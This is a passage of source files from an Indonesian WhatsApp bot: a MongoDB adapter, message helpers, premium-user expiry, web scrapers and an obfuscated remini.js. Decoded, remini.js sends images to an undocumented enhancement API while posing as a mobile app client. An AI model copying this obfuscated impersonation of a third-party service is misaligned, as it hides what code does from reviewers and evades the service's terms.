--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | const mongoose = require('mongoose')
15 | const { Schema } = mongoose
16 |
17 | module.exports = class mongoDB {
18 | constructor(url, options = { useNewUrlParser: true, useUnifiedTopology: true }) {
19 | this.url = url
20 | this.data = this._data = this._schema = this._model = {}
21 | this.db
22 | this.options = options
23 | }
24 | async read() {
25 | this.db = await mongoose.connect(this.url, { ...this.options })
26 | this.connection = mongoose.connection
27 | let schema = this._schema = new Schema({
28 | data: {
29 | type: Object,
30 | required: true, //depends on whether the field is mandatory or not
31 | default: {}
32 | }
33 | })
34 | // this._model = mongoose.model('data', schema)
35 | try { this._model = mongoose.model('data', schema) } catch { this._model = mongoose.model('data') }
36 | this._data = await this._model.findOne({})
37 | if (!this._data) {
38 | this.data = {}
39 | await this.write(this.data)
40 | this._data = await this._model.findOne({})
41 | } else this.data = this._data.data
42 | return this.data
43 | }
44 |
45 |
46 | async write(data) {
47 | if (!data) return data
48 | if (!this._data) return (new this._model({ data })).save()
49 | this._model.findById(this._data._id, (err, docs) => {
50 | if (!err) {
51 | if (!docs.data) docs.data = {}
52 | docs.data = data
53 | return docs.save()
54 | }
55 | })
56 | }
57 | }
--------------------------------------------------------------------------------
/serverside/libary/myfunc.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | const { proto, delay, getContentType } = require('@whiskeysockets/baileys')
15 | const chalk = require('chalk')
16 | const fs = require('fs')
17 | const Crypto = require('crypto')
18 | const axios = require('axios')
19 | const moment = require('moment-timezone')
20 | const { sizeFormatter } = require('human-readable')
21 | const util = require('util')
22 | const Jimp = require('jimp')
23 | const { defaultMaxListeners } = require('stream')
24 |
25 |
26 | const unixTimestampSeconds = (date = new Date()) => Math.floor(date.getTime() / 1000)
27 |
28 | exports.unixTimestampSeconds = unixTimestampSeconds
29 |
30 | exports.generateMessageTag = (epoch) => {
31 | let tag = (0, exports.unixTimestampSeconds)().toString();
32 | if (epoch)
33 | tag += '.--' + epoch; // attach epoch if provided
34 | return tag;
35 | }
36 |
37 | exports.processTime = (timestamp, now) => {
38 | return moment.duration(now - moment(timestamp * 1000)).asSeconds()
39 | }
40 |
41 | exports.getRandom = (ext) => {
42 | return `${Math.floor(Math.random() * 10000)}${ext}`
43 | }
44 |
45 | exports.getBuffer = async (url, options) => {
46 | try {
47 | options ? options : {}
48 | const res = await axios({
49 | method: "get",
50 | url,
51 | headers: {
52 | 'DNT': 1,
53 | 'Upgrade-Insecure-Request': 1
54 | },
55 | ...options,
56 | responseType: 'arraybuffer'
57 | })
58 | return res.data
59 | } catch (err) {
60 | return err
61 | }
62 | }
63 |
64 | exports.fetchJson = async (url, options) => {
65 | try {
66 | options ? options : {}
67 | const res = await axios({
68 | method: 'GET',
69 | url: url,
70 | headers: {
71 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36'
72 | },
73 | ...options
74 | })
75 | return res.data
76 | } catch (err) {
77 | return err
78 | }
79 | }
80 |
81 | exports.formatp = sizeFormatter({
82 | std: 'JEDEC', //'SI' = default | 'IEC' | 'JEDEC'
83 | decimalPlaces: 2,
84 | keepTrailingZeroes: false,
85 | render: (literal, symbol) => `${literal} ${symbol}B`,
86 | })
87 |
88 | exports.runtime = function(seconds) {
89 | seconds = Number(seconds);
90 | var d = Math.floor(seconds / (3600 * 24));
91 | var h = Math.floor(seconds % (3600 * 24) / 3600);
92 | var m = Math.floor(seconds % 3600 / 60);
93 | var s = Math.floor(seconds % 60);
94 | var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " days, ") : "";
95 | var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " hours, ") : "";
96 | var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " minutes, ") : "";
97 | var sDisplay = s > 0 ? s + (s == 1 ? " second" : " seconds") : "";
98 | return dDisplay + hDisplay + mDisplay + sDisplay;
99 | }
100 |
101 | exports.clockString = (ms) => {
102 | let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
103 | let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
104 | let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
105 | return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')
106 | }
107 |
108 | exports.sleep = async (ms) => {
109 | return new Promise(resolve => setTimeout(resolve, ms));
110 | }
111 |
112 | exports.isUrl = (url) => {
113 | return url.match(new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/, 'gi'))
114 | }
115 |
116 | exports.getTime = (format, date) => {
117 | if (date) {
118 | return moment(date).locale('id').format(format)
119 | } else {
120 | return moment.tz('Asia/Jakarta').locale('id').format(format)
121 | }
122 | }
123 |
124 | exports.formatDate = (n, locale = 'id') => {
125 | let d = new Date(n)
126 | return d.toLocaleDateString(locale, {
127 | weekday: 'long',
128 | day: 'numeric',
129 | month: 'long',
130 | year: 'numeric',
131 | hour: 'numeric',
132 | minute: 'numeric',
133 | second: 'numeric'
134 | })
135 | }
136 |
137 | exports.tanggal = (numer) => {
138 | myMonths = ["Januari","Februari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","November","Desember"];
139 | myDays = ['Minggu','Senin','Selasa','Rabu','Kamis','Jum’at','Sabtu'];
140 | var tgl = new Date(numer);
141 | var day = tgl.getDate()
142 | bulan = tgl.getMonth()
143 | var thisDay = tgl.getDay(),
144 | thisDay = myDays[thisDay];
145 | var yy = tgl.getYear()
146 | var year = (yy < 1000) ? yy + 1900 : yy;
147 | const time = moment.tz('Asia/Jakarta').format('DD/MM HH:mm:ss')
148 | let d = new Date
149 | let locale = 'id'
150 | let gmt = new Date(0).getTime() - new Date('1 January 1970').getTime()
151 | let weton = ['Pahing', 'Pon','Wage','Kliwon','Legi'][Math.floor(((d * 1) + gmt) / 84600000) % 5]
152 |
153 | return`${thisDay}, ${day} - ${myMonths[bulan]} - ${year}`
154 | }
155 |
156 | exports.jsonformat = (string) => {
157 | return JSON.stringify(string, null, 2)
158 | }
159 |
160 | function format(...args) {
161 | return util.format(...args)
162 | }
163 | //https://github.com/FERDIZ-afk/bot-oni-chan/blob/master/lib/simpel.js#L25
164 | function getTypeMessage(message) {
165 | const type = Object.keys(message)
166 | var restype = (!['senderKeyDistributionMessage', 'messageContextInfo'].includes(type[0]) && type[0]) || // Sometimes message in the front
167 | (type.length >= 3 && type[1] !== 'messageContextInfo' && type[1]) || // Sometimes message in midle if mtype length is greater than or equal to 3
168 | type[type.length - 1] || Object.keys(message)[0] // common case
169 | return restype
170 | }
171 |
172 | exports.logic = (check, inp, out) => {
173 | if (inp.length !== out.length) throw new Error('Input and Output must have same length')
174 | for (let i in inp)
175 | if (util.isDeepStrictEqual(check, inp[i])) return out[i]
176 | return null
177 | }
178 |
179 | exports.generateProfilePicture = async (buffer) => {
180 | const jimp = await Jimp.read(buffer)
181 | const min = jimp.getWidth()
182 | const max = jimp.getHeight()
183 | const cropped = jimp.crop(0, 0, min, max)
184 | return {
185 | img: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG),
186 | preview: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.MIME_JPEG)
187 | }
188 | }
189 |
190 | exports.bytesToSize = (bytes, decimals = 2) => {
191 | if (bytes === 0) return '0 Bytes';
192 |
193 | const k = 1024;
194 | const dm = decimals < 0 ? 0 : decimals;
195 | const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
196 |
197 | const i = Math.floor(Math.log(bytes) / Math.log(k));
198 |
199 | return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
200 | }
201 |
202 | exports.getSizeMedia = (path) => {
203 | return new Promise((resolve, reject) => {
204 | if (/http/.test(path)) {
205 | axios.get(path)
206 | .then((res) => {
207 | let length = parseInt(res.headers['content-length'])
208 | let size = exports.bytesToSize(length, 3)
209 | if(!isNaN(length)) resolve(size)
210 | })
211 | } else if (Buffer.isBuffer(path)) {
212 | let length = Buffer.byteLength(path)
213 | let size = exports.bytesToSize(length, 3)
214 | if(!isNaN(length)) resolve(size)
215 | } else {
216 | reject('error gatau apah')
217 | }
218 | })
219 | }
220 |
221 | exports.parseMention = (text = '') => {
222 | return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net')
223 | }
224 |
225 | exports.getGroupAdmins = (participants) => {
226 | let admins = []
227 | for (let i of participants) {
228 | i.admin === "superadmin" ? admins.push(i.id) : i.admin === "admin" ? admins.push(i.id) : ''
229 | }
230 | return admins || []
231 | }
232 |
233 |
234 | exports.removeEmojis = (string) => {
235 | var regex = /(?:[\u2700-\u27bf]|(?:\ud83c[\udde6-\uddff]){2}|[\ud800-\udbff][\udc00-\udfff]|[\u0023-\u0039]\ufe0f?\u20e3|\u3299|\u3297|\u303d|\u3030|\u24c2|\ud83c[\udd70-\udd71]|\ud83c[\udd7e-\udd7f]|\ud83c\udd8e|\ud83c[\udd91-\udd9a]|\ud83c[\udde6-\uddff]|\ud83c[\ude01-\ude02]|\ud83c\ude1a|\ud83c\ude2f|\ud83c[\ude32-\ude3a]|\ud83c[\ude50-\ude51]|\u203c|\u2049|[\u25aa-\u25ab]|\u25b6|\u25c0|[\u25fb-\u25fe]|\u00a9|\u00ae|\u2122|\u2139|\ud83c\udc04|[\u2600-\u26FF]|\u2b05|\u2b06|\u2b07|\u2b1b|\u2b1c|\u2b50|\u2b55|\u231a|\u231b|\u2328|\u23cf|[\u23e9-\u23f3]|[\u23f8-\u23fa]|\ud83c\udccf|\u2934|\u2935|[\u2190-\u21ff])/g;
236 | return string.replace(regex, '');
237 | }
238 |
239 | exports.getRandom = (ext) => {
240 | return `${Math.floor(Math.random() * 10000)}${ext}`
241 | }
242 |
243 |
244 | /**
245 | * Serialize Message
246 | * @param {WAConnection} conn
247 | * @param {Object} m
248 | * @param {store} store
249 | */
250 | exports.smsg = (conn, m, store) => {
251 | if (!m) return m
252 | let M = proto.WebMessageInfo
253 | var m = M.fromObject(m)
254 | if (m.key) {
255 | m.id = m.key.id
256 | m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16
257 | m.chat = m.key.remoteJid
258 | m.fromMe = m.key.fromMe
259 | m.isGroup = m.chat.endsWith('@g.us')
260 | m.sender = conn.decodeJid(m.fromMe && conn.user.id || m.participant || m.key.participant || m.chat || '')
261 | if (m.isGroup) m.participant = conn.decodeJid(m.key.participant) || ''
262 | }
263 | if (m.message) {
264 | m.mtype = getTypeMessage(m.message)
265 | m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getTypeMessage(m.message[m.mtype].message)] : m.message[m.mtype])
266 | // m.body = m.message.conversation || m.msg.caption || m.msg.text || (m.mtype == 'listResponseMessage') && m.msg.singleSelectReply.selectedRowId || (m.mtype == 'buttonsResponseMessage') && m.msg.selectedButtonId || (m.mtype == 'viewOnceMessage') && m.msg.caption || m.tex // (m.mtype === 'conversation' && m.message.conversation) ? m.message.conversation : (m.mtype == 'imageMessage') && m.message.imageMessage.caption ? m.message.imageMessage.caption : (type == 'videoMessage') && m.message.videoMessage.caption ? m.message.videoMessage.caption : (m.mtype == 'extendedTextMessage') && m.message.extendedTextMessage.text ? m.message.extendedTextMessage.text : (m.mtype == 'listResponseMessage') && m.message.listResponseMessage.singleSelectReply.selectedRowId ? m.message.listResponseMessage.singleSelectReply.selectedRowId : (m.mtype == 'buttonsResponseMessage') && m.message.buttonsResponseMessage.selectedButtonId ? m.message.buttonsResponseMessage.selectedButtonId : (m.mtype == 'templateButtonReplyMessage') && m.message.templateButtonReplyMessage.selectedId ? m.message.templateButtonReplyMessage.selectedId : ''
267 |
268 | try {
269 | m.body =
270 | m.message.conversation ||
271 | m.message[m.type].text ||
272 | m.message[m.type].caption ||
273 | (m.type === "listResponseMessage" && m.message[m.type].singleSelectReply.selectedRowId) ||
274 | (m.type === "buttonsResponseMessage" &&
275 | m.message[m.type].selectedButtonId) ||
276 | (m.type === "templateButtonReplyMessage" && m.message[m.type].selectedId) ||
277 | "";
278 | } catch {
279 | m.body = "";
280 | }
281 |
282 |
283 |
284 | // t
285 | let quoted = m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null
286 | //m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : []
287 | m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : []
288 | if (m.quoted) {
289 | let type = Object.keys(quoted)[0]
290 | m.quoted = m.quoted[type]
291 | if (['productMessage'].includes(type)) {
292 | type = getContentType(m.quoted)
293 | m.quoted = m.quoted[type]
294 | }
295 | if (typeof m.quoted === 'string') m.quoted = {
296 | text: m.quoted
297 | }
298 | m.quoted.mtype = type
299 | m.quoted.id = m.msg.contextInfo.stanzaId
300 | m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat
301 | m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false
302 | m.quoted.sender = conn.decodeJid(m.msg.contextInfo.participant)
303 | m.quoted.fromMe = m.quoted.sender === (conn.user && conn.user.jid)
304 | m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || ''
305 | m.quoted.mentionedJid = m.quoted.contextInfo ? m.quoted.contextInfo.mentionedJid : []
306 | m.getQuotedObj = m.getQuotedMessage = async () => {
307 | if (!m.quoted.id) return false
308 | let q = await store.loadMessage(m.chat, m.quoted.id, conn)
309 | return exports.smsg(conn, q, store)
310 | }
311 | let vM = m.quoted.fakeObj = M.fromObject({
312 | key: {
313 | remoteJid: m.quoted.chat,
314 | fromMe: m.quoted.fromMe,
315 | id: m.quoted.id
316 | },
317 | message: quoted,
318 | ...(m.isGroup ? {
319 | participant: m.quoted.sender
320 | } : {})
321 | })
322 |
323 | /**
324 | *
325 | * @returns
326 | */
327 | m.quoted.delete = () => conn.sendMessage(m.quoted.chat, {
328 | delete: vM.key
329 | })
330 |
331 | /**
332 | *
333 | * @param {*} jid
334 | * @param {*} forceForward
335 | * @param {*} options
336 | * @returns
337 | */
338 | m.quoted.copyNForward = (jid, forceForward = false, options = {}) => conn.copyNForward(jid, vM, forceForward, options)
339 |
340 | /**
341 | *
342 | * @returns
343 | */
344 | m.quoted.download = () => conn.downloadMediaMessage(m.quoted)
345 | }
346 | }
347 | if (m.msg.url) m.download = () => conn.downloadMediaMessage(m.msg)
348 | m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || ''
349 | /**
350 | * Reply to this message
351 | * @param {String|Object} text
352 | * @param {String|false} chatId
353 | * @param {Object} options
354 | */
355 | m.reply = (text, chatId = m.chat, options = {}) => Buffer.isBuffer(text) ? conn.sendMedia(chatId, text, 'file', '', m, { ...options }) : conn.sendText(chatId, text, m, { ...options })
356 | /**
357 | * Copy this message
358 | */
359 | m.copy = () => exports.smsg(conn, M.fromObject(M.toObject(m)))
360 |
361 | /**
362 | *
363 | * @param {*} jid
364 | * @param {*} forceForward
365 | * @param {*} options
366 | * @returns
367 | */
368 | m.copyNForward = (jid = m.chat, forceForward = false, options = {}) => conn.copyNForward(jid, m, forceForward, options)
369 |
370 | return m
371 | }
372 |
373 |
374 | let file = require.resolve(__filename)
375 | fs.watchFile(file, () => {
376 | fs.unwatchFile(file)
377 | console.log(chalk.redBright(`Update ${__filename}`))
378 | delete require.cache[file]
379 | require(file)
380 | })
381 |
--------------------------------------------------------------------------------
/serverside/libary/premium.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | const fs = require("fs");
15 | const toMs = require("ms");
16 |
17 | const premium = JSON.parse(fs.readFileSync('./serverside/system/premium.json'))
18 |
19 | const addPremiumUser = (userId, expired, _dir) => {
20 | const cekUser = premium.find((user) => user.id == userId);
21 | if (cekUser) {
22 | cekUser.expired = cekUser.expired + toMs(expired);
23 | } else {
24 | const obj = { id: userId, expired: Date.now() + toMs(expired) };
25 | _dir.push(obj);
26 | }
27 | fs.writeFileSync("./serverside/system/premium.json", JSON.stringify(_dir));
28 | };
29 |
30 | const getPremiumPosition = (userId, _dir) => {
31 | let position = null;
32 | Object.keys(_dir).forEach((i) => {
33 | if (_dir[i].id === userId) {
34 | position = i;
35 | }
36 | });
37 | if (position !== null) {
38 | return position;
39 | }
40 | };
41 |
42 | const getPremiumExpired = (userId, _dir) => {
43 | let position = null;
44 | Object.keys(_dir).forEach((i) => {
45 | if (_dir[i].id === userId) {
46 | position = i;
47 | }
48 | });
49 | if (position !== null) {
50 | return _dir[position].expired;
51 | }
52 | };
53 |
54 | const checkPremiumUser = (userId, _dir) => {
55 | let status = false;
56 | Object.keys(_dir).forEach((i) => {
57 | if (_dir[i].id === userId) {
58 | status = true;
59 | }
60 | });
61 | return status;
62 | };
63 |
64 | const expiredPremiumCheck = (anggazyy, msg, _dir) => {
65 | setInterval(() => {
66 | let position = null;
67 | Object.keys(_dir).forEach((i) => {
68 | if (Date.now() >= _dir[i].expired) {
69 | position = i;
70 | }
71 | });
72 | if (position !== null) {
73 | idny = _dir[position].id;
74 | console.log(`Premium expired: ${_dir[position].id}`);
75 | _dir.splice(position, 1);
76 | fs.writeFileSync("./serverside/system/premium.json", JSON.stringify(_dir));
77 | idny ? anggazyy.sendMessage(idny, { text: "Your premium has run out, please buy again." }) : "";
78 | idny = false;
79 | }
80 | }, 1000);
81 | };
82 |
83 | const getAllPremiumUser = (_dir) => {
84 | const array = [];
85 | Object.keys(_dir).forEach((i) => {
86 | array.push(_dir[i].id);
87 | });
88 | return array;
89 | };
90 |
91 | module.exports = {
92 | addPremiumUser,
93 | getPremiumExpired,
94 | getPremiumPosition,
95 | expiredPremiumCheck,
96 | checkPremiumUser,
97 | getAllPremiumUser,
98 | };
--------------------------------------------------------------------------------
/serverside/libary/remini.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 |
15 | const yamille = joaniel;
16 | (function (ryann, ea) {
17 | const samyra = joaniel, marnia = ryann();
18 | while (true) {
19 | try {
20 | const mckynzee = parseInt(samyra(137)) / 1 * (-parseInt(samyra(133)) / 2) + -parseInt(samyra(134)) / 3 + parseInt(samyra(155)) / 4 * (parseInt(samyra(156)) / 5) + -parseInt(samyra(131)) / 6 * (-parseInt(samyra(130)) / 7) + -parseInt(samyra(140)) / 8 * (parseInt(samyra(147)) / 9) + parseInt(samyra(145)) / 10 + parseInt(samyra(138)) / 11;
21 | if (mckynzee === ea) break; else marnia.push(marnia.shift());
22 | } catch (beril) {
23 | marnia.push(marnia.shift());
24 | }
25 | }
26 | }(altavious, 888830));
27 | const FormData = require("form-data"), Jimp = require(yamille(154));
28 | function joaniel(wendolyne, nyier) {
29 | const enalina = altavious();
30 | return joaniel = function (laurae, mekelle) {
31 | laurae = laurae - 127;
32 | let ralphine = enalina[laurae];
33 | return ralphine;
34 | }, joaniel(wendolyne, nyier);
35 | }
36 | function altavious() {
37 | const jaylenn = ["inferenceengine", "push", "21AoSGqU", "225006xOkcNu", "concat", "472390FPofBK", "4809828vvqtte", "data", "model_version", "3NUOcvQ", "14047187eKUyBb", "error", "3013792ZhnCJd", "okhttp/4.9.3", ".ai/", "enhance_image_body.jpg", "from", "10610670esKiBu", "append", "18nRsxLl", "submit", "https", "image", ".vyro", "image/jpeg", "enhance", "jimp", "24448HhNNWt", "1230ttmiGH", "Keep-Alive"];
38 | altavious = function () {
39 | return jaylenn;
40 | };
41 | return altavious();
42 | }
43 | async function remini(kyoko, tysa) {
44 | return new Promise(async (majeed, tamicko) => {
45 | const deamber = joaniel;
46 | let milahn = [deamber(153), "recolor", "dehaze"];
47 | milahn.includes(tysa) ? tysa = tysa : tysa = milahn[0];
48 | let kymire, nazar = new FormData, lennel = deamber(149) + "://" + deamber(128) + deamber(151) + deamber(142) + tysa;
49 | nazar[deamber(146)](deamber(136), 1, {"Content-Transfer-Encoding": "binary", contentType: "multipart/form-data; charset=uttf-8"}), nazar[deamber(146)](deamber(150), Buffer[deamber(144)](kyoko), {filename: deamber(143), contentType: deamber(152)}), nazar[deamber(148)]({url: lennel, host: deamber(128) + deamber(151) + ".ai", path: "/" + tysa, protocol: "https:", headers: {"User-Agent": deamber(141), Connection: deamber(127), "Accept-Encoding": "gzip"}}, function (suha, deantoine) {
50 | const lakeysia = deamber;
51 | if (suha) tamicko();
52 | let zyan = [];
53 | deantoine.on(lakeysia(135), function (spicie, ebunoluwa) {
54 | const bellaluna = lakeysia;
55 | zyan[bellaluna(129)](spicie);
56 | }).on("end", () => {
57 | const camden = lakeysia;
58 | majeed(Buffer[camden(132)](zyan));
59 | }), deantoine.on(lakeysia(139), shady => {
60 | tamicko();
61 | });
62 | });
63 | });
64 | }
65 | module.exports.remini = remini;
66 |
--------------------------------------------------------------------------------
/serverside/libary/scraper2.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | const cheerio = require('cheerio')
15 | const fetch = require('node-fetch')
16 | const axios = require('axios')
17 | const _math = require('mathjs')
18 | const _url = require('url')
19 | const qs = require('qs')
20 | const request = require('request');
21 | const randomarray = async (array) => {
22 | return array[Math.floor(Math.random() * array.length)]
23 | }
24 | exports.rexdl = async (query) => {
25 | return new Promise((resolve) => {
26 | axios.get('https://rexdl.com/?s=' + query)
27 | .then(({
28 | data
29 | }) => {
30 | const $ = cheerio.load(data)
31 | const judul = [];
32 | const jenis = [];
33 | const date = [];
34 | const desc = [];
35 | const link = [];
36 | const thumb = [];
37 | const result = [];
38 | $('div > div.post-content').each(function(a, b) {
39 | judul.push($(b).find('h2.post-title > a').attr('title'))
40 | jenis.push($(b).find('p.post-category').text())
41 | date.push($(b).find('p.post-date').text())
42 | desc.push($(b).find('div.entry.excerpt').text())
43 | link.push($(b).find('h2.post-title > a').attr('href'))
44 | })
45 | $('div > div.post-thumbnail > a > img').each(function(a, b) {
46 | thumb.push($(b).attr('data-src'))
47 | })
48 | for (let i = 0; i < judul.length; i++) {
49 | result.push({
50 | creator: 'Alice Project',
51 | judul: judul[i],
52 | kategori: jenis[i],
53 | upload_date: date[i],
54 | deskripsi: desc[i],
55 | thumb: thumb[i],
56 | link: link[i]
57 | })
58 | }
59 | resolve(result)
60 | })
61 | })
62 | }
63 | exports.rexdldown = async (link) => {
64 | return new Promise((resolve) => {
65 | axios.get(link)
66 | .then(({
67 | data
68 | }) => {
69 | const $ = cheerio.load(data)
70 | const link = [];
71 | const url = [];
72 | const link_name = [];
73 | const judul = $('#page > div > div > div > section > div:nth-child(2) > article > div > h1.post-title').text();
74 | const plink = $('#page > div > div > div > section > div:nth-child(2) > center:nth-child(3) > h2 > span > a').attr('href')
75 | axios.get(plink)
76 | .then(({
77 | data
78 | }) => {
79 | const $$ = cheerio.load(data)
80 | $$('#dlbox > ul.dl > a > li > span').each(function(a, b) {
81 | deta = $$(b).text();
82 | link_name.push(deta)
83 | })
84 | $$('#dlbox > ul.dl > a').each(function(a, b) {
85 | url.push($$(b).attr('href'))
86 | })
87 | for (let i = 0; i < link_name.length; i++) {
88 | link.push({
89 | link_name: link_name[i],
90 | url: url[i]
91 | })
92 | }
93 | resolve({
94 | creator: 'Alice Project',
95 | judul: judul,
96 | update_date: $$('#dlbox > ul.dl-list > li.dl-update > span:nth-child(2)').text(),
97 | version: $$('#dlbox > ul.dl-list > li.dl-version > span:nth-child(2)').text(),
98 | size: $$('#dlbox > ul.dl-list > li.dl-size > span:nth-child(2)').text(),
99 | download: link
100 | })
101 | })
102 | })
103 | })
104 | }
105 | exports.merdekanews = async () => {
106 | return new Promise((resolve) => {
107 | axios.get('https://www.merdeka.com/peristiwa/')
108 | .then(({
109 | data
110 | }) => {
111 | const $ = cheerio.load(data)
112 | const judul = [];
113 | const upload = [];
114 | const link = [];
115 | const thumb = [];
116 | const result = [];
117 | $('#mdk-content-center > div.inner-content > ul > li > div').each(function(a, b) {
118 | deta = $(b).find('h3 > a').text();
119 | judul.push(deta)
120 | link.push('https://www.merdeka.com' + $(b).find('h3 > a').attr('href'))
121 | upload.push($(b).find('div > span').text())
122 | thumb.push($(b).find('div > a > img').attr('src'))
123 | })
124 | for (let i = 0; i < judul.length; i++) {
125 | result.push({
126 | judul: judul[i],
127 | upload_date: upload[i],
128 | link: link[i],
129 | thumb: thumb[i]
130 | })
131 | }
132 | resolve(result)
133 | })
134 | })
135 | }
136 | exports.metronews = async () => {
137 | return new Promise((resolve) => {
138 | axios.get('https://www.metrotvnews.com/news')
139 | .then(({
140 | data
141 | }) => {
142 | const $ = cheerio.load(data)
143 | const judul = [];
144 | const desc = [];
145 | const link = [];
146 | const thumb = [];
147 | const tag = [];
148 | const result = [];
149 | $('body > div.container.layout > section.content > div > div.item-list.pt-20 > div > div > h3 > a').each(function(a, b) {
150 | judul.push($(b).attr('title'))
151 | })
152 | $('body > div.container.layout > section.content > div > div.item-list.pt-20 > div > div > p').each(function(a, b) {
153 | deta = $(b).text();
154 | desc.push(deta)
155 | })
156 | $('body > div.container.layout > section.content > div > div.item-list.pt-20 > div > div > h3 > a').each(function(a, b) {
157 | link.push('https://www.metrotvnews.com' + $(b).attr('href'))
158 | })
159 | $('body > div.container.layout > section.content > div > div.item-list.pt-20 > div > img').each(function(a, b) {
160 | thumb.push($(b).attr('src').replace('w=300', 'w=720'))
161 | })
162 | for (let i = 0; i < judul.length; i++) {
163 | result.push({
164 | judul: judul[i],
165 | link: link[i],
166 | thumb: thumb[i],
167 | deskripsi: desc[i]
168 | })
169 | }
170 | resolve(result)
171 | })
172 | })
173 | }
174 | exports.asupanfilm = async (query) => {
175 | return new Promise((resolve) => {
176 | axios.get(`https://asupanfilm.link/?search=${query}`)
177 | .then(({
178 | data
179 | }) => {
180 | const $ = cheerio.load(data)
181 | const judul = [];
182 | const desc = [];
183 | const thumb = [];
184 | const link = [];
185 | const result = [];
186 | $('body > div > div > div.card-body.p-2 > ul > li > div > div > h6 > a').each(function(a, b) {
187 | deta = $(b).text();
188 | judul.push(deta)
189 | })
190 | $('body > div > div > div.card-body.p-2 > ul > li > div > div').each(function(a, b) {
191 | deta = $(b).text()
192 | desc.push(deta.split(' ')[2])
193 | })
194 | $('body > div > div > div.card-body.p-2 > ul > li > div > img').each(function(a, b) {
195 | thumb.push($(b).attr('src').split('UX67_CR0,0,67,98_AL_')[0])
196 | })
197 | $('body > div > div > div.card-body.p-2 > ul > li > div > div > h6 > a').each(function(a, b) {
198 | link.push('https://asupanfilm.link/' + $(b).attr('href'))
199 | })
200 | for (let i = 0; i < judul.length; i++) {
201 | result.push({
202 | judul: judul[i],
203 | deskripsi: desc[i],
204 | thumb: thumb[i],
205 | link: link[i]
206 | })
207 | }
208 | resolve(result)
209 | })
210 | })
211 | }
212 | exports.asupanfilminfo = async (link) => {
213 | return new Promise((resolve) => {
214 | axios.get(link)
215 | .then(({
216 | data
217 | }) => {
218 | const $ = cheerio.load(data)
219 | const info = {
220 | judul: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(1)').text(),
221 | thumb: $('body > div > div.card.mb-3 > div.card-footer > a').attr('href'),
222 | alurcerita_imdb: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(2)').text().split(' Alur Cerita IMDb: ')[1],
223 | alurcerita_tmdb: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(3)').text().split(' Alur Cerita TMDb: ')[1],
224 | direksi: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(4)').text().split(' Direksi: ')[1],
225 | pemeran: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(5)').text().split(' Pemeran: ')[1],
226 | kategori: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(6)').text().split(' Kategori: ')[1],
227 | negara: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(7)').text().split(' Negara: ')[1],
228 | tahun_rilis: $('body > div > div:nth-child(5) > div.card-body.p-2 > ul > li:nth-child(8)').text().split(' Tahun Rilis: ')[1],
